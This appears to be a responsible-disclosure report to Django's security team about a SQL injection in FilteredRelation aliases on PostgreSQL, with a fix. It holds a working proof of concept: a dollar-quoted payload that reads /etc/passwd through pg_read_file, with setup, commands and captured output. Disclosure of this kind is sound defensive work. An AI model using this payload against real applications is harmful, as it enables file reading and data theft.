Django · Report #3417967
Potential SQL Injection when annotating FilteredRelation on PostgreSQL
How it was found
Hi Django security team !
This vulnerability is related to CVE 2025-57833 and CVE 2025-59681 as it results from an incomplete Regex filter in the FORBIDDEN_ALIAS_PATTERN.
On PostgreSQL, the $ symbol can be used to replace quotes and build raw string between tags like this : $$something$$ or $tag$something$tag$. This can be abused to make part of the query interpreted as a raw string instead of the actual query to execute. Under some circumstances, this allows to build injections, as proven by the following PoC.
The following PoC can be pasted inside the FilteredRelationTests class in the file tests/filtered_relation/tests.py
def test_sqli(self):
user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"
qs = (
Book.objects.annotate(**{
user_data: FilteredRelation(
"editor" ),
})
.select_related(user_data)
)
try:
import django
for e in qs.all():
print("######### Injected #########")
print(e.title)
print("############################")
except django.db.utils.ProgrammingError as e:
print(f"------\n{e}")
This POC will read /etc/passwd from the PostgreSQL Docker container, which you can run using this command :
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres
Change the tests/test_sqlite.py file to :
DATABASES = {
"default": {
"ENGINE": "django.db.backends.postgresql",
"NAME": "django",
"USER": "postgres",
"PORT": 5432,
"HOST": "localhost"
},
}
SECRET_KEY = "mysecretpassword"
Finally, the PoC can be executed with the following command:
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli
Here is the output, showing the file was successfully read on the Docker container.
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
############################
The full SQL query that was executed is the following :
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
This exploit works in this context because the user input is reflected multiple times in the query, allowing the $a$, $b$, $c$, ... tags to be closed and making most of the query be interpreted as raw strings for the select statement.
Here is the simplified query for better readability:
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")
Impact
The impact is a SQL injection allowing to exfiltrate data, read system files as the PoC demonstrates, or allow remote command execution.
Remediation
The remediation consists in adding the $ symbol to the FORBIDDEN_ALIAS_PATTERN regex.